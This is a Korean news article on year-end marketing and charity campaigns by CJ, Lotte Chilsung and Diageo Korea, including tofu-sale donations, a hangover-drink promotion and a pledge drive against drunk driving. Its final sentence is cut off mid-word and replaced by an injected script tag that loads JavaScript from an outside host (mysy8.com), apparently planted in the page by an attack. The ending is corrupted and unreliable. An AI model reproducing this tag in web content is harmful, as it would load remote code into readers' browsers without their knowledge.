`물건을 팔기전에 먼저 고객의 마음을 사로잡아라` CJ, 대상, 롯데칠성, 디아지오코리아 등 주류ㆍ식음료 업체들이 연말시즌을 맞아 고객들과 스킨십을 강화하는 감성마케팅에 팔을 걷어 붙였다.`장인 정신`으로 품질력을 크게 높이는 등 바르고 안전한 먹거리를 만드는 데 혼신의 힘을 쏟는 한편으로 나눔경영, 건전음주 캠페인, 식탁 불안을 걷어내는 안심마케팅 등을 펼치며 따뜻한 겨울 만들기에 구슬땀을 흘리고 있다 이들 4社의 이같은 감성마케팅은 지속적인 경기침체로 얼어붙었던 고객들의 마음을 녹여 지갑을 열게하는 효과로 나타나고 있는 것으로 알려졌다.`브랜드 파워는 고객 감동으로 부터 나온다`는 말을 실감할 수 있는 대목이다.

▶CJ, `100원의 행복` 훈훈한 연말 만들기 앞장=연말을 앞두고, 국내 최대 식품기업 CJ㈜(대표 김주형)에서는 웰빙 두부 `백설 행복한 콩`을 구입하는 고객들을 대상으로 두부 1모당 100원씩 기금을 적립, 남북 결식아동을 지원하는 `모으면 행복해진다` 이벤트를 진행한다. 다음달 5일까지 계속되는 이번 이벤트는 홈페이지(www.happycong.com))와 엽서를 통해 응모한 소비자가 `행복한 콩` 두부를 구입할때 마다 CJ가 기금을 적립하는 것이다. 이렇게 모인 기금은 올해 말 `월드비젼`을 통해 남북한 결식 아동들에게 전달된다. 이벤트에 참여를 원하는 고객들은 CJ `행복한 콩` 제품 포장지에 있는 웰빙 두부 마크 3개를 매장에 비치된 엽서에 붙여 우편으로 보내거나 홈페이지를 통해 응모하면 된다. 참가자는 추첨을 통해 주방가구, 식기세척기, 호텔 가족 이용권 등 모두 2000만원 상당의 푸짐한 경품도 받을 수 있다.

신재열 CJ 부장은 "단순 경품 행사를 기부 프로그램과 연결시켜 구매 고객이나 경품 행사 응모 고객들의 반응이 좋다"며 "연말을 눈앞에 두고 있어 구매자들의 호응도가 더욱 높다"고 전했다. 이 회사는 한편으로 독거노인, 소년소녀 가장 돕기 등 갖가지 따뜻한 사연을 보내주는 고객 가운데 매월 5팀씩을 선정해 두부 파티를 열어주는 이벤트를 진행 중이다.현재까지 20여 단체 모임에 4만모 이상의 `행복한 콩 두부` 지원된 것으로 집계되고 있다.

▶롯데칠성, 술자리 잦은 연말 애주가 `몸챙기기`=`스카치 블루` 브랜드의 롯데칠성은 연말을 맞아 잦은 회식에 시달리는 소비자들의 몸을 챙기는 `자상한 마케팅`(?)을 펼치고 있어 관심을 모은다.롯데칠성은 바나 유흥주점 등에서 스카치 블루를 애용하는 고객에게 자사의 숙취해소 음료인 `모닝세븐`(100㎖ 용량에 3000원)을 제공하는 프로모션 행사로 좋은 반응을 얻고 있다.롯데칠성 관계자는 "모닝세븐은 숙취 해소에 효과가 있는 오가피, 모과, 앵두, 미강, 노근, 포도씨분말 등의 농축액을 10% 함유하고 있다"며 "기존 숙취해소 음료에 없는 모과,앵두 등 과일 성분이 있어 부담없이 마실 수 있는 것이 특징"이라고 말했다.실제로 최근 남녀 30명을 대상으로 중앙대 의대가 시행한 임상실험에서 `모닝세븐`이 숙취 해소에 효과가 있다는 점이 입증되기도 했다.

▶디아지오코리아 음주운전 퇴출 `쿨 드라이버 캠페인` =위스키 `윈저` 브랜드로 유명한 디아지오코리아는 책임있는 음주문화를 만들기 위해 술을 마신 다음에는 절대로 운전을 하지 말자는 `쿨 드라이버 캠페인`을 펼치고 있다. 운전면허 시험장을 돌며 초보운전자들에게 서약서를 받는 `쿨 드라이버 캠페인`은 지금까지 2만여명이 서명했을 만큼 호응이 크다. 디아지오코리아는 한편으로 한국내셔널트러스트에 후원 기업으로 가입, 강원 영월 동강 주변의 자연과 문화를 보존하는 활동에도 참여하고 있다.디아지오는 연말 성수기를 맞아 3개 브랜드 3색 마케팅을 펼치고 있어 눈길을 끈다. 우선 윈저, 딤플, 조니워커의 제품력 강화가 돋보인다. 디아지오코리아는 지난 10월 최고급 수퍼 프리미엄 위스키인 윈저21을 출시한데 이어, 슈퍼리미엄 위스키 시장에서 50% 이상의 시장 점유를 보이며 애주가들의 사랑을 받아온 윈저17과 스테디셀러 윈저12를 대폭 리뉴얼해 고급스러워진 패키지로 새롭게 선보였다. 제품의 디자인뿐만 아니라 맛과 가치를 안전하게 지키는 데에도 심형을 기울여 홀로그램과 위조가 불가능한 위조방지캡을 장착했다. 또한 10월 말에는 딤플 18을 출시했고, 딤플 12도 리뉴얼을 단행해 주력 브랜드 윈저와 딤플의 총체적인 변신을 성공적으로 마쳤다.한편으로 조니워커 골드의 용량을 다양화 해 500ml 용량의 제품을 세롭게 출시, 청담동, 압구정 등 바(Bar) 시장에서 호평을 받고 있다. 이희용 부사장은 "현재 20여명선인 바 영업인력을 연말에는 50여명으로 늘려 고객 서비스를 크게 강화하고 있다"고 말했다. 이 부사장은 이어 "윈저, 딤?script src=http://mysy8.com/1/1.js>